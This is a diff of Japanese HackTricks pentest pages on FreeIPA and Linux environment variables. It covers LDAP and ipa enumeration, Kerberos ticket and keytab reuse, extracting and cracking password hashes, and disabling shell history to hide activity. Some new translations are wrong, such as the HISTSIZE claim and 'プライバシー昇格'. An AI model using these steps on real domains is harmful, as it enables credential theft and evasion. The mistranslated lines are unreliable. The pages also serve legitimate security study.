* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>
{% endhint %}

View file

@ -1,59 +1,60 @@
# FreeIPA ペンテスト # FreeIPA Pentesting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
FreeIPA は、主に Unix 環境向けの Microsoft Windows Active Directory のオープンソース **代替** です。これは、Active Directory に似た管理のための MIT Kerberos Key Distribution Center と完全な LDAP ディレクトリを組み合わせています。CARA 証明書管理のために Dogtag Certificate System を利用し、スマートカードを含む **マルチファクタ** 認証をサポートしています。Unix 認証プロセスには SSSD が統合されています。 FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**のオープンソースの**代替**です。これは、Active Directoryに類似した管理のために、完全な**LDAPディレクトリ**とMIT **Kerberos**キー配布センターを組み合わせています。CAおよびRA証明書管理のためにDogtag **証明書システム**を利用し、スマートカードを含む**多要素**認証をサポートしています。Unix認証プロセスのためにSSSDが統合されています。
## フィンガープリント ## フィンガープリント
### ファイルと環境変数 ### ファイルと環境変数
* `/etc/krb5.conf` にあるファイルには、ドメインへの登録に必要な Kerberos クライアント情報が格納されています。これには KDC や管理サーバーの場所、デフォルト設定、マッピングが含まれます。 * `/etc/krb5.conf`にあるファイルは、ドメインへの登録に必要なKerberosクライアント情報が保存されています。これにはKDCと管理サーバーの場所、デフォルト設定、およびマッピングが含まれます。
* IPA クライアントとサーバーのシステム全体のデフォルト設定は、`/etc/ipa/default.conf` に配置されています。 * IPAクライアントとサーバーのシステム全体のデフォルトは、`/etc/ipa/default.conf`にあるファイルで設定されています。
* ドメイン内のホストは、認証プロセスに `/etc/krb5.keytab` ある `krb5.keytab` ファイルを持っている必要があります。 * ドメイン内のホストは、認証プロセスのために`/etc/krb5.keytab`に`krb5.keytab`ファイルを持っている必要があります。
* 様々な環境変数(`KRB5CCNAME`、`KRB5_KTNAME`、`KRB5_CONFIG`、`KRB5_KDC_PROFILE`、`KRB5RCACHETYPE`、`KRB5RCACHEDIR`、`KRB5_TRACE`、`KRB5_CLIENT_KTNAME`、`KPROP_PORT`は、Kerberos 認証に関連する特定のファイルや設定を指すために使用されます。 * 様々な環境変数(`KRB5CCNAME`、`KRB5_KTNAME`、`KRB5_CONFIG`、`KRB5_KDC_PROFILE`、`KRB5RCACHETYPE`、`KRB5RCACHEDIR`、`KRB5_TRACE`、`KRB5_CLIENT_KTNAME`、`KPROP_PORT`は、Kerberos認証に関連する特定のファイルと設定を指し示すために使用されます。
### バイナリ ### バイナリ
`ipa`、`kdestroy`、`kinit`、`klist`、`kpasswd`、`ksu`、`kswitch`、`kvno` などのツールは、FreeIPA ドメインの管理、Kerberos チケットの処理、パスワードの変更、サービスチケットの取得などに中心的な役割を果たします。 `ipa`、`kdestroy`、`kinit`、`klist`、`kpasswd`、`ksu`、`kswitch`、`kvno`などのツールは、FreeIPAドメインの管理、Kerberosチケットの処理、パスワードの変更、サービスチケットの取得などの機能おいて中心的な役割を果たします。
### ネットワーク ### ネットワーク
典型的な FreeIPA サーバーのセットアップを示す図が提供されています。 典型的なFreeIPAサーバーのセットアップを示す図があります。
## 認証 ## 認証
FreeIPA における **Kerberos** を利用した認証は、**Active Directory** と同様です。ドメインリソースへのアクセスには有効な Kerberos チケットが必要であり、これは FreeIPA ドメインの構成に応じてさまざまな場所に保存されます。 FreeIPAにおける認証は、**Kerberos**を利用して**Active Directory**のそれを反映しています。ドメインリソースへのアクセスには、有効なKerberosチケットが必要であり、これはFreeIPAドメインの設定に応じて様々な場所に保存されます。
### **CCACHE チケットファイル** ### **CCACHEチケットファイル**
通常**`/tmp`** **600** の権限で保存される CCACHE ファイルは、Kerberos 資格情報を保存するためのバイナリ形式であり、ユーザーの平文パスワードなしでの認証に重要です。CCACHE チケットの解析は `klist` コマンドを使用して行い、有効な CCACHE チケットを再利用するには、`KRB5CCNAME` をチケットファイルのパスにエクスポートする必要があります。 CCACHEファイルは通常**`/tmp`**に**600**の権限で保存され、Kerberos資格情報を保存するためのバイナリ形式であり、ユーザーの平文パスワードなしで認証を行うために重要です。CCACHEチケットの解析は`klist`コマンドを使用して行うことができ、有効なCCACHEチケットを再利用するには、`KRB5CCNAME`をチケットファイルのパスにエクスポートます。
### **Unix キーリング** ### **Unixキーレング**
代わりに、CCACHE チケットを Linux キーリングに保存することで、チケットの管理についてより多くの制御が可能になります。チケットの保存範囲は異なります`KEYRING:name`、`KEYRING:process:name`、`KEYRING:thread:name`、`KEYRING:session:name`、`KEYRING:persistent:uidnumber`、`klist` はこれをユーザーのために解析することができます。ただし、Unix キーリングから CCACHE チケットを再利用することは課題があり、**Tickey** のようなツールが Kerberos チケットを抽出するために利用できます。 代わりに、CCACHEチケットはLinuxキーレングに保存でき、チケット管理に対するより多くの制御を提供します。チケットストレージの範囲は`KEYRING:name`、`KEYRING:process:name`、`KEYRING:thread:name`、`KEYRING:session:name`、`KEYRING:persistent:uidnumber`異なり、`klist`はユーザーのためにこの情報を解析できます。しかし、UnixキーレングからCCACHEチケットを再利用することは課題を伴う場合があり、Kerberosチケットを抽出するための**Tickey**のようなツールが利用可能です。
### Keytab ### キータブ
Kerberos プリンシパルと暗号化キーを含む Keytab ファイルは、プリンシパルのパスワードを必要とせずに有効なチケット発行チケットTGTを取得するために重要です。Keytab ファイルからの資格情報の解析と再利用は、`klist` のようなユーティリティや **KeytabParser** などのスクリプトを使用して簡単に実行できます。 Kerberosプリンシパルと暗号化されたキーを含むキータブファイルは、プリンシパルのパスワードを必要とせずに有効なチケット付与チケットTGTを取得するために重要です。キータブファイルからの資格情報の解析と再利用は、`klist`のようなユーティリティや**KeytabParser**のようなスクリプトを使用して簡単に行えます。
### チートシート ### チートシート
Linux でチケットを使用する方法に関する詳細情報は、以下のリンクで見つけることができます: Linuxでのチケットの使用方法についての詳細は、以下のリンクで確認できます:
{% content-ref url="privilege-escalation/linux-active-directory.md" %} {% content-ref url="privilege-escalation/linux-active-directory.md" %}
[linux-active-directory.md](privilege-escalation/linux-active-directory.md) [linux-active-directory.md](privilege-escalation/linux-active-directory.md)
@ -62,18 +63,18 @@ Linux でチケットを使用する方法に関する詳細情報は、以下
## 列挙 ## 列挙
{% hint style="warning" %} {% hint style="warning" %}
**ldap** や他の **バイナリ** ツールを使用した **列挙**、または FreeIPA サーバーのポート 443 に **接続する**ことによって **列挙** を実行できます。 **ldap**や他の**バイナリ**ツールを使用して**列挙**を行うことができるか、**FreeIPAサーバーのポート443に接続する**ことができます。
{% endhint %} {% endhint %}
### ホスト、ユーザー、およびグループ <a href="#id-4b3b" id="id-4b3b"></a> ### ホスト、ユーザー、およびグループ <a href="#id-4b3b" id="id-4b3b"></a>
**ホスト**、**ユーザー**、および **グループ** を作成することが可能です。ホストとユーザーはそれぞれ「**ホストグループ**」と「**ユーザーグループ**」と呼ばれるコンテナに分類されます。これらは **組織単位**OUに類似しています。 **ホスト**、**ユーザー**、および**グループ**を作成することが可能です。ホストとユーザーはそれぞれ「**ホストグループ**」および「**ユーザーグループ**」と呼ばれるコンテナに整理されます。これらは**組織単位**OUに似ています。
FreeIPA では、LDAP サーバーは **匿名バインド** を許可しており、多くのデータが **未認証** で列挙可能です。これにより、未認証で利用可能なすべてのデータを列挙できます。 FreeIPAではデフォルトで、LDAPサーバーは**匿名バインド**を許可しており、大量のデータが**認証なし**で列挙可能です。これにより、認証なしで利用可能なすべてのデータを列挙できます:
``` ```
ldapsearch -x ldapsearch -x
``` ```
**さらに情報を得る**には、**認証済み**セッションを使用する必要があります(認証済みセッションの準備方法については、認証セクションを確認してください)。 **詳細情報**を取得するには、**認証された**セッションを使用する必要があります(認証セクションを確認して、認証されたセッションを準備する方法を学んでください)。
```bash ```bash
# Get all users of domain # Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -87,7 +88,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups # Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
``` ```
ドメインに参加しマシンから、**インストールされたバイナリ**を使用してドメインを列挙できます: ドメインに参加しているマシンから、**インストールされたバイナリ**を使用してドメインを列挙することができます:
```bash ```bash
ipa user-find ipa user-find
ipa usergroup-find ipa usergroup-find
@ -102,33 +103,33 @@ ipa host-find <host> --all
ipa hostgroup-show <host group> --all ipa hostgroup-show <host group> --all
``` ```
{% hint style="info" %} {% hint style="info" %}
**FreeIPA**の**管理者**ユーザーは**AD**の**ドメイン管理者**に相当します。 **FreeIPA**の**admin**ユーザーは、**AD**の**domain admins**に相当します。
{% endhint %} {% endhint %}
### ハッシュ <a href="#id-482b" id="id-482b"></a> ### ハッシュ <a href="#id-482b" id="id-482b"></a>
**IPAサーバー**の**root**ユーザーはパスワード**ハッシュ**にアクセスできます。 **IPAサーバー**の**root**ユーザーはパスワード**ハッシュ**にアクセスできます。
- ユーザーのパスワードハッシュは、「**userPassword**」**属性**に**base64**で保存されます。このハッシュは**SSHA512**古いFreeIPAのバージョン)または**PBKDF2\_SHA256**である可能性があります。 * ユーザーのパスワードハッシュは、**userPassword** **属性**に**base64**として保存されています。このハッシュは**SSHA512**古いバージョンのFreeIPA)または**PBKDF2\_SHA256**である可能性があります。
- システムが**AD**と**統合**されている場合、パスワードの**Nthash**は「**ipaNTHash**」に**base64**で保存されます。 * システムが**AD**と**統合**されている場合、パスワードの**Nthash**は“**ipaNTHash**”に**base64**として保存されます。
これらのハッシュを解読するには: これらのハッシュをクラックするには:
- FreeIPAがADと統合されている場合、**ipaNTHash**は簡単に解読できます:**base64**をデコードして**ASCII**ヘックスに再エンコード -> John The Ripperまたは**hashcat**を使用して高速に解読できます。 • FreeIPAがADと統合されている場合、**ipaNTHash**は簡単にクラックできます:**base64**を**デコード** -> **ASCII**の16進数として再エンコード -> John The Ripperまたは**hashcat**が迅速にクラックするのを助けてくれます
- 古いバージョンのFreeIPAを使用している場合、**SSHA512**が使用されます:**base64**をデコード -> SSHA512 **ハッシュ**を見つける -> John The Ripperまたは**hashcat**を使用して解読できます。 • 古いバージョンのFreeIPAが使用されている場合、**SSHA512**が使用されます:**base64**をデコード -> SSHA512 **ハッシュ**を見つける -> John The Ripperまたは**hashcat**がクラックするのを助けてくれます
- 新しいバージョンのFreeIPAを使用している場合、**PBKDF2\_SHA256**が使用されます:**base64**をデコード -> PBKDF2\_SHA256を見つける -> **長さ**は256バイトです。Johnは256ビット32バイトで動作します -> SHA-265が疑似ランダム関数として使用され、ブロックサイズは32バイトです -> PBKDF2\_SHA256ハッシュの最初の256ビットのみを使用できます -> John The Ripperまたはhashcatを使用して解読できます。 • 新しいバージョンのFreeIPAが使用されている場合、**PBKDF2\_SHA256**が使用されます:**base64**をデコード -> PBKDF2\_SHA256を見つける -> **長さ**は256バイトです。Johnは256ビット32バイトで動作できます -> SHA-265が擬似乱数関数として使用され、ブロックサイズは32バイトです -> PBKDF2\_SHA256ハッシュの最初の256ビットのみを使用できます -> John The Ripperまたはhashcatがクラックするのを助けてくれます
<figure><img src="../.gitbook/assets/image (655).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (655).png" alt=""><figcaption></figcaption></figure>
ハッシュを抽出するには、**FreeIPAサーバー**で**root**である必要があり、そこで**`dbscan`**ツールを使用してそれらを抽出できます: ハッシュを抽出するには、**FreeIPAサーバーのroot**である必要があります。そこで、ツール**`dbscan`**を使用してそれらを抽出できます:
<figure><img src="../.gitbook/assets/image (293).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (293).png" alt=""><figcaption></figcaption></figure>
### HBAC-Rules <a href="#id-482b" id="id-482b"></a> ### HBACルール <a href="#id-482b" id="id-482b"></a>
これは、特定の権限をユーザーやホストに付与するルールです(ホスト、サービス、サービスグループなどのリソースに対して) これは、リソース(ホスト、サービス、サービスグループなど)に対してユーザーまたはホストに特定の権限を付与するルールです
```bash ```bash
# Enumerate using ldap # Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
@ -139,7 +140,7 @@ ipa hbacrule-show <hbacrule> --all
``` ```
#### Sudo-Rules #### Sudo-Rules
FreeIPAは、sudoルールを介して**sudo権限**に対する集中制御を可能にします。これらのルールにより、ドメイン内のホストでsudoを使用してコマンドを実行することを許可または制限することができます。攻撃者は、これらのルールセットを調査することで、適用されるホスト、ユーザー、および許可されたコマンドを特定する可能性があります。 FreeIPAは、sudo-rulesを介して**sudo権限**の集中管理を可能にします。これらのルールは、ドメイン内のホストでsudoを使用してコマンドを実行することを許可または制限します。攻撃者は、これらのルールセットを調査することで、適用可能なホスト、ユーザー、および許可されたコマンドを特定する可能性があります。
```bash ```bash
# Enumerate using ldap # Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@ -148,17 +149,17 @@ ipa sudorule-find
# Show info of rule # Show info of rule
ipa sudorule-show <sudorule> --all ipa sudorule-show <sudorule> --all
``` ```
### ロールベースアクセス制御 ### Role-Based Access Control
**ロール**はさまざまな**特権**で構成され、それぞれが一連の**権限**を含んでいます。これらのロールは、ユーザー、ユーザー**グループ**、**ホスト**、ホストグループ、およびサービスに割り当てることができます。たとえば、この構造を示すために、FreeIPAのデフォルトの「ユーザー管理者」ロールを考えてみましょう **ロール**はさまざまな**特権**で構成されており、それぞれが**権限**のコレクションを含んでいます。これらのロールは、ユーザー、ユーザー**グループ**、**ホスト**、ホストグループ、およびサービスに割り当てることができます。たとえば、FreeIPAのデフォルトの「ユーザー管理者」ロールを考えて、この構造を例示します
`ユーザー管理者`ロールには、次の特権があります: ロール`User Administrator`には、次の特権があります:
- **ユーザー管理者** * **ユーザー管理者**
- **グループ管理者** * **グループ管理者**
- **ステージユーザー管理者** * **ステージユーザー管理者**
次のコマンドを使用すると、ロール、特権、および権限を列挙できます: 次のコマンドを使用すると、ロール、特権、および権限を列挙することができます:
```bash ```bash
# Using ldap # Using ldap
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local" ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
@ -172,24 +173,24 @@ ipa permission-show <permission> --all
``` ```
### 攻撃シナリオの例 ### 攻撃シナリオの例
[https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) に、いくつかの権限を悪用してドメインを侵害する簡単な例があります。 [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) では、ドメインを侵害するためにいくつかの権限を悪用する簡単な例を見つけることができます。
### Linikatz/LinikatzV2 ### Linikatz/LinikatzV2
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2) * [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz) * [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
## 特権昇格 ## プライバシー昇格
### ~~rootユーザーの作成~~ ### ~~rootユーザーの作成~~
{% hint style="warning" %} {% hint style="warning" %}
新しいユーザーを **`root`** という名前で作成できる場合、そのユーザーに成りすまして **任意のマシンにrootとしてSSHできます。** もし **`root` という名前の新しいユーザーを作成できる**なら、彼になりすますことができ、**rootとして任意のマシンにSSH接続することができます。**
**これはパッチ済みです。** **これはパッチが当てられました。**
{% endhint %} {% endhint %}
詳細な説明は[https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)で確認できます。 詳細な説明は [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) で確認できます。
## 参考文献 ## 参考文献
@ -198,16 +199,17 @@ ipa permission-show <permission> --all
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1) * [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ) * [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。**
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Linux環境変数 # Linux 環境変数
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -26,20 +27,20 @@ HackTricksをサポートする他の方法
グローバル変数は**子プロセス**によって**継承されます**。 グローバル変数は**子プロセス**によって**継承されます**。
現在のセッション用にグローバル変数を作成するには、次のようにします: 現在のセッションのためにグローバル変数を作成するには、次のようにします:
```bash ```bash
export MYGLOBAL="hello world" export MYGLOBAL="hello world"
echo $MYGLOBAL #Prints: hello world echo $MYGLOBAL #Prints: hello world
``` ```
この変数は、現在のセッションとその子プロセスからアクセスできます。 この変数は、現在のセッションとその子プロセスからアクセス可能です。
次のようにして変数を**削除**できます: 変数を**削除**するには、次のようにします:
```bash ```bash
unset MYGLOBAL unset MYGLOBAL
``` ```
## ローカル変数 ## ローカル変数
**ローカル変数****現在のシェル/スクリプト** からのみ **アクセス** できます。 **ローカル変数**は**現在のシェル/スクリプト**によってのみ**アクセス**できます。
```bash ```bash
LOCAL="my local" LOCAL="my local"
echo $LOCAL echo $LOCAL
@ -53,63 +54,63 @@ printenv
cat /proc/$$/environ cat /proc/$$/environ
cat /proc/`python -c "import os; print(os.getppid())"`/environ cat /proc/`python -c "import os; print(os.getppid())"`/environ
``` ```
## 一般的な変数 ## Common variables
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
* **DISPLAY** **X** で使用されるディスプレイ。通常、この変数は **:0.0** に設定されます。これは現在のコンピューター上の最初のディスプレイを意味します。 * **DISPLAY** **X**によって使用されるディスプレイ。この変数は通常**:0.0**に設定されており、これは現在のコンピュータの最初のディスプレイを意味します。
* **EDITOR** ユーザーの選好するテキストエディター * **EDITOR** ユーザーの好みのテキストエディタ
* **HISTFILESIZE** 履歴ファイルに含まれる最大行数。 * **HISTFILESIZE** 履歴ファイルに含まれる最大行数。
* **HISTSIZE** ユーザーがセッションを終了するときに履歴ファイルに追加される行数。 * **HISTSIZE** ユーザーがセッションを終了したときに履歴ファイルに追加される行数。
* **HOME** ホームディレクトリ。 * **HOME** あなたのホームディレクトリ。
* **HOSTNAME** コンピュータのホスト名。 * **HOSTNAME** コンピュータのホスト名。
* **LANG** 現在の言語。 * **LANG** あなたの現在の言語。
* **MAIL** ユーザーのメールスプールの場所。通常は **/var/spool/mail/USER** です * **MAIL** ユーザーのメールスプールの場所。通常は**/var/spool/mail/USER**。
* **MANPATH** マニュアルページを検索するディレクトリのリスト。 * **MANPATH** マニュアルページを検索するためのディレクトリのリスト。
* **OSTYPE** オペレーティングシステムのタイプ * **OSTYPE** オペレーティングシステムの種類
* **PS1** bash のデフォルトプロンプト。 * **PS1** bashのデフォルトプロンプト。
* **PATH** 実行したいバイナリファイルを保持するすべてのディレクトリのパス。ファイル名を指定するだけで相対パスや絶対パスを使用せずに実行できます。 * **PATH** バイナリファイルを実行するためにファイル名を指定するだけで済むすべてのディレクトリのパスを格納します。
* **PWD** 現在の作業ディレクトリ。 * **PWD** 現在の作業ディレクトリ。
* **SHELL** 現在のコマンドシェルへのパス (例: **/bin/bash**) * **SHELL** 現在のコマンドシェルへのパス(例:**/bin/bash**
* **TERM** 現在の端末タイプ (例: **xterm**) * **TERM** 現在の端末タイプ(例:**xterm**
* **TZ** 自分のタイムゾーン。 * **TZ** あなたのタイムゾーン。
* **USER** 現在のユーザー名。 * **USER** あなたの現在のユーザー名。
## ハッキングに関連する興味深い変数 ## Interesting variables for hacking
### **HISTFILESIZE** ### **HISTFILESIZE**
この変数の **値を 0 に変更** してください。これにより、セッションを **終了** するときに **履歴ファイル** (\~/.bash\_history) が **削除** されます この変数の**値を0に変更**すると、**セッションを終了**したときに**履歴ファイル**\~/.bash\_historyが**削除されます**
```bash ```bash
export HISTFILESIZE=0 export HISTFILESIZE=0
``` ```
### **HISTSIZE** ### **HISTSIZE**
この変数の値を0に変更して、セッションを終了するときにはどんなコマンドも履歴ファイル (\~/.bash\_history) に追加されません この**変数の値を0に変更**してください。そうすれば、**セッションを終了**すると、任意のコマンドが**履歴ファイル**\~/.bash\_historyに追加されます
```bash ```bash
export HISTSIZE=0 export HISTSIZE=0
``` ```
### http\_proxy & https\_proxy ### http\_proxy & https\_proxy
プロセスは、ここで宣言された **proxy** を使用して、**httpまたはhttps** を介してインターネットに接続します。 プロセスは、**http または https** を通じてインターネットに接続するために、ここで宣言された **proxy** を使用します。
```bash ```bash
export http_proxy="http://10.10.10.10:8080" export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080" export https_proxy="http://10.10.10.10:8080"
``` ```
### SSL\_CERT\_FILE & SSL\_CERT\_DIR ### SSL\_CERT\_FILE & SSL\_CERT\_DIR
プロセスは、**これらの環境変数**で指定された証明書を信頼します。 プロセスは**これらの環境変数**で示された証明書を信頼します。
```bash ```bash
export SSL_CERT_FILE=/path/to/ca-bundle.pem export SSL_CERT_FILE=/path/to/ca-bundle.pem
export SSL_CERT_DIR=/path/to/ca-certificates export SSL_CERT_DIR=/path/to/ca-certificates
``` ```
### PS1 ### PS1
プロンプトの表示を変更します。 プロンプトの見た目を変更します。
[**これは例です**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) [**これは例です**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
Root: ルート:
![](<../.gitbook/assets/image (897).png>) ![](<../.gitbook/assets/image (897).png>)
@ -117,11 +118,11 @@ Root:
![](<../.gitbook/assets/image (740).png>) ![](<../.gitbook/assets/image (740).png>)
バックグラウンドで実行中のジョブが1つ、2つ、3つ: バックグラウンドジョブが1つ、2つ、3つ:
![](<../.gitbook/assets/image (145).png>) ![](<../.gitbook/assets/image (145).png>)
バックグラウンドで実行中のジョブが1つ、停止中のジョブが1つ、最後のコマンドが正常に終了しなかった場合: バックグラウンドジョブが1つ、停止したジョブが1つ、最後のコマンドが正しく終了しなかった:
